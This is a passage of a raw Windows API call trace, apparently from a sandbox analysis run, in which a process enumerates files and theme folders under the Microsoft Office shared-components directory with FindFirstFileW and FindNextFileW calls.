lpFindFileData=0x2fce4c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc883e0d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xc883e0d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xc883e0d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x22d6, dwReserved0=0x0, dwReserved1=0x0, cFileName="DATES.XML", cAlternateFileName="")) returned 1 [0286.184] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fce4c0 | out: lpFindFileData=0x2fce4c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc883e0d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xc883e0d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xc883e0d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x734, dwReserved0=0x0, dwReserved1=0x0, cFileName="PHONE.XML", cAlternateFileName="")) returned 1 [0286.184] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fce4c0 | out: lpFindFileData=0x2fce4c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc8aa06f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xc8aa06f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xc8d02b2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2174, dwReserved0=0x0, dwReserved1=0x0, cFileName="TIME.XML", cAlternateFileName="")) returned 1 [0286.184] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fce4c0 | out: lpFindFileData=0x2fce4c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc8aa06f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xc8aa06f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xc8d02b2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2174, dwReserved0=0x0, dwReserved1=0x0, cFileName="TIME.XML", cAlternateFileName="")) returned 0 [0286.184] FindClose (in: hFindFile=0xb02d48 | out: hFindFile=0xb02d48) returned 1 [0286.184] GetProcessHeap () returned 0xaf0000 [0286.184] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x36a6270 | out: hHeap=0xaf0000) returned 1 [0286.184] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x26bd6427, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x26bd6427, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x26bd6427, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x377ef, dwReserved0=0x0, dwReserved1=0x0, cFileName="BASMLA.XSL", cAlternateFileName="")) returned 1 [0286.184] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x26bd6427, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x26bd6427, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x26bd6427, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x377ef, dwReserved0=0x0, dwReserved1=0x0, cFileName="BASMLA.XSL", cAlternateFileName="")) returned 0 [0286.184] FindClose (in: hFindFile=0xb02d08 | out: hFindFile=0xb02d08) returned 1 [0286.184] GetProcessHeap () returned 0xaf0000 [0286.184] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3696268 | out: hHeap=0xaf0000) returned 1 [0286.186] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf7beb2bc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf7beb2bc, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf7beb2bc, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1cec0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="METCONV.DLL", cAlternateFileName="")) returned 1 [0286.186] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x26bd6427, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x26bd6427, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x26bd6427, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x120eb8, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="METCONV.TXT", cAlternateFileName="")) returned 1 [0286.186] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x865a7d2, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x865a7d2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x865a7d2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x55860, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="MOFL.DLL", cAlternateFileName="")) returned 1 [0286.186] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc576616a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc576616a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc578c3b9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x3574, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="MSTAG.TLB", cAlternateFileName="")) returned 1 [0286.186] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x5f9c329, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x5f9c329, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5fc257f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x54c0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="SmartTagInstall.exe", cAlternateFileName="SMARTT~1.EXE")) returned 1 [0286.186] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x5f9c329, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x5f9c329, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5fc257f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x54c0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="SmartTagInstall.exe", cAlternateFileName="SMARTT~1.EXE")) returned 0 [0286.186] FindClose (in: hFindFile=0xb02c88 | out: hFindFile=0xb02c88) returned 1 [0286.186] GetProcessHeap () returned 0xaf0000 [0286.186] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3666250 | out: hHeap=0xaf0000) returned 1 [0286.186] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0ed7602, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf0ed7602, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf0ed7602, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Source Engine", cAlternateFileName="SOURCE~1")) returned 1 [0286.187] GetProcessHeap () returned 0xaf0000 [0286.187] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3666250 [0286.187] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Source Engine\\*", lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0ed7602, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf0ed7602, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf0ed7602, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02ec8 [0286.187] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0ed7602, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf0ed7602, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf0ed7602, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0286.187] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf0ed7602, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf0ed7602, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf0f23aa6, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x3ba48, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="OSE.EXE", cAlternateFileName="")) returned 1 [0286.187] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf0ed7602, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf0ed7602, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf0f23aa6, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x3ba48, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="OSE.EXE", cAlternateFileName="")) returned 0 [0286.187] FindClose (in: hFindFile=0xb02ec8 | out: hFindFile=0xb02ec8) returned 1 [0286.187] GetProcessHeap () returned 0xaf0000 [0286.187] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3666250 | out: hHeap=0xaf0000) returned 1 [0286.187] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf15d84bd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf42b29f3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x5f76153, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TEXTCONV", cAlternateFileName="")) returned 1 [0286.188] GetProcessHeap () returned 0xaf0000 [0286.188] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3666250 [0286.188] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\TEXTCONV\\*", lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf15d84bd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf42b29f3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x5f76153, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02dc8 [0286.188] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf15d84bd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf42b29f3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x5f76153, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0286.188] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x5f76153, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x5f76153, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5f76153, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x24c58, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="MSCONV97.DLL", cAlternateFileName="")) returned 1 [0286.188] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf15d84bd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf15d84bd, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf16bd2da, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xa6b0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="RECOVR32.CNV", cAlternateFileName="")) returned 1 [0286.188] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1b0f72e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1b0f72e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1b0f72e, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x32ab8, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="WPFT532.CNV", cAlternateFileName="")) returned 1 [0286.189] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf42b29f3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf42b29f3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf42d8c51, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x48e58, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="WPFT632.CNV", cAlternateFileName="")) returned 1 [0286.189] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf42b29f3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf42b29f3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf42d8c51, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x48e58, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="WPFT632.CNV", cAlternateFileName="")) returned 0 [0286.189] FindClose (in: hFindFile=0xb02dc8 | out: hFindFile=0xb02dc8) returned 1 [0286.189] GetProcessHeap () returned 0xaf0000 [0286.189] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3666250 | out: hHeap=0xaf0000) returned 1 [0286.189] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x26bd6427, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c86bce, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c86bce, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="THEMES16", cAlternateFileName="")) returned 1 [0286.189] GetProcessHeap () returned 0xaf0000 [0286.189] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3666250 [0286.189] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\*", lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x26bd6427, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c86bce, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c86bce, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02dc8 [0286.191] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x26bd6427, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c86bce, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c86bce, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0286.191] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x26bfc670, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27ae323c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27ae323c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="AFTRNOON", cAlternateFileName="")) returned 1 [0286.191] GetProcessHeap () returned 0xaf0000 [0286.191] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3696268 [0286.513] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\AFTRNOON\\*", lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x26bfc670, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27ae323c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27ae323c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02d48 [0286.513] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x26bfc670, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27ae323c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27ae323c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0286.513] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27abcfff, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27abcfff, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27abcfff, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xe58e, dwReserved0=0x0, dwReserved1=0x0, cFileName="AFTRNOON.ELM", cAlternateFileName="")) returned 1 [0286.513] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27a24739, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27a24739, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27a70c44, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x22b, dwReserved0=0x0, dwReserved1=0x0, cFileName="AFTRNOON.INF", cAlternateFileName="")) returned 1 [0286.513] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27a70c44, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27a70c44, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27abcfff, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x621, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0286.514] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27ae323c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27ae323c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27ae323c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x6292, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0286.514] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27ae323c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27ae323c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27ae323c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x6292, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0286.514] FindClose (in: hFindFile=0xb02d48 | out: hFindFile=0xb02d48) returned 1 [0286.514] GetProcessHeap () returned 0xaf0000 [0286.514] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3696268 | out: hHeap=0xaf0000) returned 1 [0286.514] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x26bd6427, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c86bce, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c86bce, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="ARCTIC", cAlternateFileName="")) returned 1 [0286.514] GetProcessHeap () returned 0xaf0000 [0286.514] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3696268 [0286.514] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\ARCTIC\\*", lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x26bd6427, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c86bce, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c86bce, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02d48 [0286.514] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x26bd6427, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c86bce, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c86bce, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0286.514] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27c86bce, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c86bce, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c86bce, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x10fc7, dwReserved0=0x0, dwReserved1=0x0, cFileName="ARCTIC.ELM", cAlternateFileName="")) returned 1 [0286.515] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27ae323c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27ae323c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27ae323c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x201, dwReserved0=0x0, dwReserved1=0x0, cFileName="ARCTIC.INF", cAlternateFileName="")) returned 1 [0286.515] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x26bd6427, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x26bd6427, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x26bd6427, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xba9, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0286.515] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fce748 | out: 